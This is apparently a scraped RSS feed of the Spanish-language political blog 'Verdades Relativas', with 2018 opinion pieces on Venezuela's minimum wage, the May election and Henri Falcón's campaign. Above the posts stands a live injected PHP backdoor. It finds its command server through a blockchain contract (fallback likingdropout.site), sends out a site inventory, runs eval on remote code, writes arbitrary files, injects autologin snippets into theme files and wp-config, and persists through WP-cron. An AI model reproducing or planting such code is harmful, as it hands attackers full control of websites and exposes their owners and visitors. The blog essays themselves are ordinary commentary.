// dw_np if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home2/zona3punto0/public_html/verdadesrelativas/wp-content/plugins/wp-helper-a0f63c/wp-helper-a0f63c.php', 'ctrl'=>'// dw_np', 'vis'=>'// mv_qz', 'vis_func'=>'wp_lzicpp', 'vis_paths'=>array('/home2/zona3punto0/public_html/verdadesrelativas/wp-content/plugins/wp-helper-a0f63c/wp-helper-a0f63c.php'), 'opt'=>'_wp_clnr7wd7', ); $keys=array(); $keys['id']='l4e'; $keys['ver']='9w'; $keys['caps']='6fh'; $keys['tasks']='k0s'; $keys['interval']='ssh'; $keys['ack_id']='fyx'; $keys['ok']='nz'; $keys['detail']='by7'; $keys['inv']='fyw'; $keys['result']='fhv'; $hdr='X-FWD-Auth';$tok='flqdH8P_1TnczH6kvifPeI37SqXiXvFul6-FbVSOfCc';$id='e2e64bbb14aafb88';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); participación | Verdades Relativas https://verdadesrelativas.com Fri, 24 Aug 2018 13:30:07 +0000 es hourly 1 https://wordpress.org/?v=7.0.4 https://i0.wp.com/verdadesrelativas.com/wp-content/uploads/2020/04/cropped-2196a43a-5029-4faf-bf28-7a88eed67d99-1.jpg?fit=32%2C32&ssl=1 participación | Verdades Relativas https://verdadesrelativas.com 32 32 130753935 Salario menos que mínimo https://verdadesrelativas.com/salario-menos-que-minimo/?utm_source=rss&utm_medium=rss&utm_campaign=salario-menos-que-minimo https://verdadesrelativas.com/salario-menos-que-minimo/#respond Fri, 24 Aug 2018 13:30:07 +0000 http://verdadesrelativas.com/?p=2367 Pasiones políticas aparte, el aumento del salario mínimo a 180 millones de bolívares mensuales está más que justificado. Más aún: se quedó corto. Cortísimo. Si lo comparamos con el costo de la canasta básica familiar, [...]

The post Salario menos que mínimo first appeared on Verdades Relativas.

]]> Pasiones políticas aparte, el aumento del salario mínimo a 180 millones de bolívares mensuales está más que justificado. Más aún: se quedó corto. Cortísimo.

Si lo comparamos con el costo de la canasta básica familiar, habría que decir que el aumento dictado por el presidente Nicolás Maduro es un saludo a la bandera. Recordemos lo que dice, a la letra, el artículo 91 de la Constitución Nacional: “Todo trabajador o trabajadora tiene derecho a un salario suficiente que le permita vivir con dignidad y cubrir para sí y su familia las necesidades básicas materiales, sociales e intelectuales… El Estado garantizará a los trabajadores y trabajadoras del sector público y del sector privado un salario mínimo vital que será ajustado cada año, tomando como una de las referencias el costo de la canasta básica…”.

Las cifras dadas a conocer hace apenas unos días por el Centro de Documentación y Análisis Social de la Federación Venezolana de Maestros, que dirige Oscar Meza, revelan que para el mes de julio el costo de la canasta básica se elevó a 1 millardo 157 millones 252 mil 851 bolívares. Eso significa que el nuevo salario mínimo apenas cubre el 15,55 por ciento del costo de los productos y servicios que integran esa canasta. Es decir, que una familia promedio tiene un déficit mensual de 977 millones 252 mil 851 bolívares para poder cubrir el costo de esa canasta. Con el agravante de que este estudio no incluye, por corresponder a otro periodo que no ha concluido, los sucesivos y drásticos aumentos de precios y tarifas que han tenido lugar durante el presente mes y que serán contabilizados en el próximo informe del CENDAS, correspondiente a agosto.

Ciertamente, el nuevo salario mínimo sigue siendo menos que mínimo. Y más aún si lo comparamos con los niveles que alcanzan los del entorno latinoamericano.

Según la edición del diario peruano La República, correspondiente al 15 de agosto, los siguientes son los salarios mínimos que rigen en la región: Argentina 498 dólares. Uruguay 470 dólares, Chile 455 dólares, Ecuador 391 dólares, Paraguay 371 dólares, Brasil 325 dólares, Perú 270 dólares y Colombia 265 dólares.

¿A cuántos dólares alcanza el nuestro? Al momento de ser anunciado, el nuevo salario mínimo equivalía a solo 30 dólares mensuales. Cifra que, producto de la pulverización continuada de nuestra moneda, equivaldrá a mucho menos cuando entre en vigor el 1º se septiembre.

El problema de fondo no es el nuevo salario mínimo sino el modelo económico, que aún con las variantes que acaba de introducirle Maduro, continúa atado a esquemas excesivamente intervencionistas y controladores de la actividad económica y productiva, así como de sus actores, incluidos los empresarios y el movimiento de los trabajadores.

Adicionalmente Maduro, su equipo de gobierno y sus torcidas prácticas políticas y administrativas, carecen de la credibilidad indispensable para garantizar a los inversionistas nacionales y extranjeros un mínimo de confianza que los convoque a invertir en nuestro país.

Aparte de que las medidas económicas anunciadas por cuentagotas por los voceros gubernamentales parecen no tener el financiamiento fresco necesario para sustentar el gasto que implica su ejecución por parte del sector público, de lo cual se deduce que el régimen apelará nuevamente a la maquinita de imprimir dinero inorgánico, es decir billetes y monedas sin respaldo.

En consecuencia, la hiperinflación acelerará su marcha y se tragará rápidamente el aumento salarial y con él las ilusiones populares de un mejoramiento en su poder adquisitivo.

¡Ojalá estuviésemos equivocados y las medidas oficiales tuviesen éxito en beneficio del país y de sus gentes!

Pero esa posibilidad luce muy distante de ser realista.

Y cada vez es mayor el convencimiento de que para frenar en seco la hiperinflación es indispensable un plan como el propuesto en su campaña presidencial por Henri Falcón y su equipo, encabezado por Francisco Rodríguez, cuyo programa de gobierno contemplaba un giro de 180 grados en la conducción de la economía, eliminación del control de cambios, recuperación y fortalecimiento de la industria petrolera, garantías para un sector privado fuerte y un mercado vigoroso, dolarización de los salarios y medidas solidarias para los sectores vulnerables.

El plan de Falcón, quien no tenía complejos para acudir y obtener financiamiento del Fondo Monetario y demás fuentes de crédito internacional, prometía un salario real de 75 dólares para el primer año de gobierno con aumentos anuales hasta llegar a 300 dólares el cuarto año.

Dos millones de venezolanos votamos por él. Muchos otros se quedaron en sus casas y prefirieron que en Miraflores siguiera Maduro. Y ahí está.

¡Pelamos ese boche!

The post Salario menos que mínimo first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/salario-menos-que-minimo/feed/ 0 2367 Malandreo presidencial y cuchillo para la garganta https://verdadesrelativas.com/malandreo-presidencial-y-cuchillo-para-la-garganta/?utm_source=rss&utm_medium=rss&utm_campaign=malandreo-presidencial-y-cuchillo-para-la-garganta https://verdadesrelativas.com/malandreo-presidencial-y-cuchillo-para-la-garganta/#respond Sat, 26 May 2018 13:57:07 +0000 http://verdadesrelativas.com/?p=1947 Justo al día siguiente de los comicios presidenciales, vi y escuché por la televisión a uno de esos “acompañantes” internacionales que de elección en elección trae el gobierno para que hable maravillas del sistema electoral [...]

The post Malandreo presidencial y cuchillo para la garganta first appeared on Verdades Relativas.

]]> Justo al día siguiente de los comicios presidenciales, vi y escuché por la televisión a uno de esos “acompañantes” internacionales que de elección en elección trae el gobierno para que hable maravillas del sistema electoral venezolano. Entre otras linduras y con todo el cinismo del mundo, el señor aseguró que los llamados puntos rojos donde el oficialismo extorsiona y compra el voto a los electores, estaban situados a una distancia de los centros de votación que no violaba la normativa vigente y los acuerdos suscritos por los candidatos en el Consejo Nacional Electoral.

Imposible mayor descaro de este sujeto al que, en vez de acompañante u observador, cabe más bien el calificativo de mercenario internacional.

Fueron por montones los puntos que el oficialismo instaló a muy pocos pasos de los centros electorales a todo lo largo y ancho de la república, cosa que no solo está vedada por la normativa, que los permite a más de 200 metros de distancia, sino que además estuvo expresamente proscrita en el acuerdo firmado por el gobierno y los candidatos que compitieron en el proceso del 20 de mayo. Y no era solo la ubicación ilegal de esos puntos, sino que además en ellos se estaba materializando, a los ojos de las autoridades electorales y de los oficiales y soldados de la Fuerza Armada Nacional, la asquerosa operación de compra-venta que el Presidente de la República había anunciado desde días atrás que haría con el escaneo del llamado “carnet de la patria”. Se concretó, justamente, todo lo contrario de lo que la presidenta del CNE aseguró ante el país que no iba a ocurrir.

Lo que el oficialismo hizo ese día fue una operación delictiva de marca y calado mayor. Si la compra de votos es un delito, lo es doblemente hacerlo con dineros del tesoro público. Y tanto más grave, gravísimo, si lo hace un Presidente de la República. Es el malandreo elevado a la más alta cúspide estatal.

Ilegal lo que hizo el régimen al burlarse y aprovecharse del hambre del pueblo. Y muy mal negocio para sus víctimas: la platica les sirvió para comer unos días, pero a cambio se tienen que calar al hambreador Maduro por seis largos años más.

Mala operación también la de quienes se abstuvieron de ir a votar a la espera de que, producto de su ausentismo electoral, se produzca algún malabarismo o acto de magia que saque a Maduro de Miraflores. Tal como era previsible si la abstención era masiva, la proclamación de Maduro por el CNE como Presidente Electo para el periodo 2019-2025 es la primera y tangible consecuencia de esa decisión. Si preferían al candidato del hambre antes que al cambio pacífico y democrático de la mano de Henri Falcón, pues ahí tienen a su Maduro. Disfrútenlo.

En definitiva, cuchillo para la garganta de quienes votaron por Maduro seducidos o chantajeados por el “premio” en metálico, y cuchillo para la garganta de quienes, víctimas también, se quedaron en casa en atención al llamado de los sectores ultrarradicales de oposición.

Tristemente, la oportunidad dorada que teníamos los venezolanos el 20M de salir de Maduro y su combo represivo y hambreador la hemos dilapidado olímpicamente. Basta hacer unas simples operaciones aritméticas con los resultados dados a conocer por el CNE para confirmar que Maduro era electoralmente derrotable. Faltó una sabia y oportuna decisión política que sintonizara con esta protuberante realidad electoral, en sintonía a su vez con las condiciones políticas, económicas y sociales prevalecientes en la actual coyuntura nacional, todas favorables al cambio democrático.

Participar en esas elecciones era lo políticamente correcto. Las muy diversas fuerzas políticas y movimientos sociales que lo hicieron en apoyo a Falcón, así como el sinfín de individualidades que adhirieron la candidatura y su propuesta política y programática, continuarán luchando por el cambio democrático, constitucional, pacífico y electoral.

Nuevas jornadas de lucha nos esperan.

Se rendirán otros. Nosotros no.

The post Malandreo presidencial y cuchillo para la garganta first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/malandreo-presidencial-y-cuchillo-para-la-garganta/feed/ 0 1947 Editorial | Venezuela tras el #20M https://verdadesrelativas.com/editorial-venezuela-tras-el-20m/?utm_source=rss&utm_medium=rss&utm_campaign=editorial-venezuela-tras-el-20m https://verdadesrelativas.com/editorial-venezuela-tras-el-20m/#respond Mon, 21 May 2018 16:03:37 +0000 http://verdadesrelativas.com/?p=1942 A lo largo de las últimas semanas se ha discutido muchísimo con relación a la pertinencia del voto en las elecciones llevadas a cabo el domingo 20 de mayo, quienes optaban por no participar exponen [...]

The post Editorial | Venezuela tras el #20M first appeared on Verdades Relativas.

]]> A lo largo de las últimas semanas se ha discutido muchísimo con relación a la pertinencia del voto en las elecciones llevadas a cabo el domingo 20 de mayo, quienes optaban por no participar exponen que las elecciones no tienen legitimidad de origen, eso ocurre porque fueron convocadas por una Asamblea Nacional Constituyente que fue impuesta sin aprobación popular y sin respetar los mecanismos establecidos por la ley, destacando además que este organismo no es reconocido por la comunidad internacional ni por gran parte del pueblo venezolano.

En ese sentido, debe dejarse en claro que si se reconoce ese organismo, éste tiene la potestad de redactar una nueva constitución y cambiar el modelo de Estado; por esa razón quien resultase ganador no gozaría de gobernabilidad debido a que tendería que someterse a la voluntad de ese organismo.

Otro problema expuesto es la parcialidad del Poder Electoral que no sería capaz de garantizar transparencia, sumando además que el Tribunal Supremo de Justicia y el CNE  inhabilitaron los principales candidatos y partidos opositores, por lo que básicamente el gobierno llama a elecciones eligiendo las condiciones políticas y electorales, el árbitro e incluso decidió cual sería su oposición.

Por su parte quienes decidieron participar planteaban que no conocían otra salida, y que no votar sería equivalente a votar por Maduro, sin embargo, hay que darle la razón a los primeros en el aspecto de que el ganador de los comicios resulta indiferente en un contexto político donde el Estado está secuestrado, un ejemplo de eso es el  no reconocimiento que existe por parte de las instituciones del gobierno a la Asamblea Nacional electa, no reconocen alcaldes ni gobernadores de oposición que no se subordinen a su autoridad y las más de 300 personas detenidas por razones políticas.

Henri Falcón confió en la firma de un acuerdo de garantías electorales firmado previamente por los candidatos, el presidente Maduro y el CNE… el resultado fue que antes de que Lucena anunciara al ganador, el candidato presuntamente opositor se vio obligado a desconocer el proceso denunciando la instalación de más de 12mil puntos rojos y más de 140mil denuncias de voto asistido entre otras violaciones al acuerdo.

La fe de Falcón en ese acuerdo nos invita a preguntarnos ¿donde estaba Henri cuando en los procesos diálogo entre el gobierno y la oposición el gobierno incumplió reiteradas veces sus promesas? o ¿donde estaba cuando Chávez prometió arreglar la economía, limpiar el Güaire antes de 2012? ¿o cuando Maduro prometió que con sus medidas económicas el país retomaría su rumbo?… hagamos una pregunta más sencilla ¿donde ha estado los últimos 10 años? o ¿qué le ha hecho pensar que la ocasión numero chorroscientos mil sería la vencida?

El anuncio de Tibisay Lucena para muchos fue lo de esperarse, sin embargo, es una cifra optimista, pues tras todas las denuncias, escaneos en puntos rojos, amenazas con comida y una no tan disimulada  compra de conciencias; la cifra oficial muestra una abstención del 52%, es decir que más de la mitad de la población (según las cifras del CNE, las cuales según varios voceros de la oposición venezolana están «infladas» o «manipuladas») no participó de los comicios lo cual disminuye aún más la legitimidad de las votaciones.

Adicionalmente, del 48% de votantes que participaron en estas elecciones, más del 30% emitieron votos adversos, en ese sentido se dejó muy en claro, que la mayoría de la población venezolana rechaza el actual gobierno.

Si he de arriesgarme a hacer algún pronóstico, este sería que si bien estamos en los días más oscuros de nuestra historia contemporánea, es que también estamos en el ocaso del totalitarismo, pues, por una parte  la comunidad internacional que ha advertido que no reconocería la elección por el carácter no constitucional de la convocatoria, en ese sentido puede esperarse que cada vez el gobierno esté más aislado económicamente y que las sanciones arrecien; y por la otra parte está el verdadero desafío de la oposición, que es presionar a lo interno para que la ilegitimidad se convierta en falta de gobernabiliad, y en contra de lo que muchos pensarán, esto no se logra con marchas multitudinarias, plantones, quema de cauchos o destapando alcantarillas.

El mundo le da la espalda al régimen, ahora queda en manos de los movimientos políticos y estudiantiles organizar una rebeldía ciudadana que actúe desde la racionalidad con un objetivo claro, que no puede ser otro que poner la solución de los problemas de un país sin alimentos, medicinas ni servicios básicos; en las manos del pueblo venezolano.

 

The post Editorial | Venezuela tras el #20M first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/editorial-venezuela-tras-el-20m/feed/ 0 1942 Bony, símbolo de las luchas democráticas https://verdadesrelativas.com/bony-simbolo-de-las-luchas-democraticas/?utm_source=rss&utm_medium=rss&utm_campaign=bony-simbolo-de-las-luchas-democraticas https://verdadesrelativas.com/bony-simbolo-de-las-luchas-democraticas/#respond Fri, 18 May 2018 15:18:10 +0000 http://verdadesrelativas.com/?p=1929 La andanada de insultos, obscenidades, infamias y todo tipo de agresiones contra Bony Pertiñez de Simonovis ponen nuevamente de manifiesto la degradación moral que ha experimentado buena parte de la sociedad venezolana en los últimos [...]

The post Bony, símbolo de las luchas democráticas first appeared on Verdades Relativas.

]]> La andanada de insultos, obscenidades, infamias y todo tipo de agresiones contra Bony Pertiñez de Simonovis ponen nuevamente de manifiesto la degradación moral que ha experimentado buena parte de la sociedad venezolana en los últimos veinte años.

El odio y la intolerancia se han desatado contra ella en forma atroz por el solo hecho de haberse manifestado en favor del voto en las elecciones presidenciales del 20 de mayo.

El linchamiento de esta admirable luchadora por los derechos humanos y la libertad de los presos políticos ha tenido como principal escenario las redes sociales, especialmente el twitter, pero eso no es sino la expresión digital de una cultura fascistoide que se ha instalado en la mente y el corazón de sectores ultrarradicales de distintas proveniencias sociales y orientación política e ideológica. Lo mismo da si quienes ejecutan esas prácticas contra quien piensa distinto son de izquierda, de centro, de derecha o de cualquiera otro punto de la geografía política. Sus impulsos destructivos obedecen a una misma estructura de pensamiento que los hermana a todos por igual. No porque esos pichones de fascistas puedan vestirse de azul, de amarillo o de algún color pastel, significa que sean distintos de otros que lo hacen de negro o de rojo. La podredumbre es la misma.

Lo que Bony hizo no fue sino expresar su personalísima decisión de votar en las presidenciales y, tal como lo ha hecho todos estos años, de mantenerse en el centro de votación para defender su voto. Es decir, ejercer sus libérrimos derechos. Así como ha defendido la libertad y la dignidad de su familia, al igual que los derechos humanos y la libertad de todos los presos políticos, así también tiene todo el derecho del mundo de utilizar y de defender la más poderosa de sus armas: el voto.

El que una porción de la ciudadanía, cualquiera sea su tamaño, no quiera acudir a votar en las elecciones presidenciales, no le da la facultad de irrespetar y de atropellar a una dama cuya valentía y aportes a la lucha por los derechos ciudadanos son, con seguridad, infinitamente mayores a los de quienes la atacan despiadadamente.

Soy de quienes piensan, al igual que Bony, que la vía para salir de la crisis multidimensional que vive el país sigue siendo pacífica, constitucional, democrática y electoral. Y esa vía se reconfirma cada vez más en claro contraste con el inmovilismo y las fantasías hollywoodenses que el abstencionismo ha querido venderle al país.

Las sociedades se edifican con el esfuerzo de todos sus integrantes en sus distintos escenarios de acción. Las democracias se alimentan y renuevan mediante el ejercicio del voto. Una sociedad es más fuerte y vigorosa en la medida en que la mayoría de sus miembros hábiles participa del trabajo y del esfuerzo productivo en sus diferentes expresiones. Una democracia es más sólida, estable y prometedora en la medida en que la mayoría de sus ciudadanos ejercita el voto en forma regular y consciente.

El 20 de mayo es una oportunidad de oro para demostrarle al mundo la acendrada vocación pacifista y democrática del pueblo venezolano. Perder esa vocación, dejar que nos arrebaten definitivamente la cultura electoral que hemos cultivado por décadas para dirimir nuestras diferencias, cierra las puertas a las soluciones pacíficas y las abre al infierno de la violencia.

Por eso, el valiente paso que ha dado Bony Pertiñez de Simonovis adquiere una inconmensurable dimensión. Al hacerlo, está defendiendo los derechos de todos los venezolanos, incluso los de quienes, cegados por el odio, la bombardean para exterminarla moralmente.

Por suerte, aún sin habérselo propuesto ella es voz pública de millones de mujeres y hombres que han dado el mismo paso y, contra la corriente del odio y la amenaza fascistoide, van a votar este domingo. Al hacerlo, cada uno estará ratificando el espíritu pacifista y democrático de la inmensa mayoría de nuestro pueblo.

 

The post Bony, símbolo de las luchas democráticas first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/bony-simbolo-de-las-luchas-democraticas/feed/ 0 1929 Comando de Falcón introdujo amparo ante TSJ para eliminar los “puntos rojos” https://verdadesrelativas.com/comando-de-falcon-introdujo-amparo-ante-tsj-para-eliminar-los-puntos-rojos/?utm_source=rss&utm_medium=rss&utm_campaign=comando-de-falcon-introdujo-amparo-ante-tsj-para-eliminar-los-puntos-rojos https://verdadesrelativas.com/comando-de-falcon-introdujo-amparo-ante-tsj-para-eliminar-los-puntos-rojos/#respond Wed, 16 May 2018 21:58:44 +0000 http://verdadesrelativas.com/?p=1906 El jefe de campaña del candidato presidencial Henri Falcón, Claudio Fermín, introdujo un Recurso Contencioso Electoral con medida cautelar en contra de las omisiones del Consejo Nacional Electoral, ante la Sala Electoral del Tribunal Supremo [...]

The post Comando de Falcón introdujo amparo ante TSJ para eliminar los “puntos rojos” first appeared on Verdades Relativas.

]]> El jefe de campaña del candidato presidencial Henri Falcón, Claudio Fermín, introdujo un Recurso Contencioso Electoral con medida cautelar en contra de las omisiones del Consejo Nacional Electoral, ante la Sala Electoral del Tribunal Supremo de Justicia, para impedir la instalación de los llamados “puntos rojos”, donde se coacciona a los electores en contra del libre ejercicio del voto el día del acto de votación.

Entre las medidas cautelares solicitadas para proteger las garantías del voto libre y la soberanía popular, figura que el CNE por órgano del Plan República 2018, suspenda y no permita la instalación el próximo 20 de mayo de los denominados “puntos rojos” de los factores políticos que apoyan la candidatura de Nicolás Maduro Moros, en los alrededores de los centros de votación.

Asimismo, exigen que se prohíba a los órganos del poder público nacional, estadal o municipal, que se condicione los programas sociales y el otorgamiento de beneficios sociales relacionados o vinculados al denominado “Carnet de la Patria”, su presentación o lectura del código QR en las cercanías de los centros electorales.

Nota de Prensa /(Prensa Comando de Henri Falcón / Caracas)

The post Comando de Falcón introdujo amparo ante TSJ para eliminar los “puntos rojos” first appeared on Verdades Relativas.

]]> https://verdadesrelativas.com/comando-de-falcon-introdujo-amparo-ante-tsj-para-eliminar-los-puntos-rojos/feed/ 0 1906 O lo raspamos con nuestros votos o Maduro pasará eximido https://verdadesrelativas.com/o-lo-raspamos-con-nuestros-votos-o-maduro-pasara-eximido/?utm_source=rss&utm_medium=rss&utm_campaign=o-lo-raspamos-con-nuestros-votos-o-maduro-pasara-eximido https://verdadesrelativas.com/o-lo-raspamos-con-nuestros-votos-o-maduro-pasara-eximido/#respond Fri, 09 Mar 2018 15:25:53 +0000 http://verdadesrelativas.com/?p=1759 Si hubiese estado en su interés y efectivamente se lo hubiese propuesto, el presidente Nicolás Maduro habría podido evitar la catástrofe multidimensional por la que hoy atraviesa el país. Posibilidades reales las tuvo: poder político [...]

The post O lo raspamos con nuestros votos o Maduro pasará eximido first appeared on Verdades Relativas.

]]> Si hubiese estado en su interés y efectivamente se lo hubiese propuesto, el presidente Nicolás Maduro habría podido evitar la catástrofe multidimensional por la que hoy atraviesa el país.

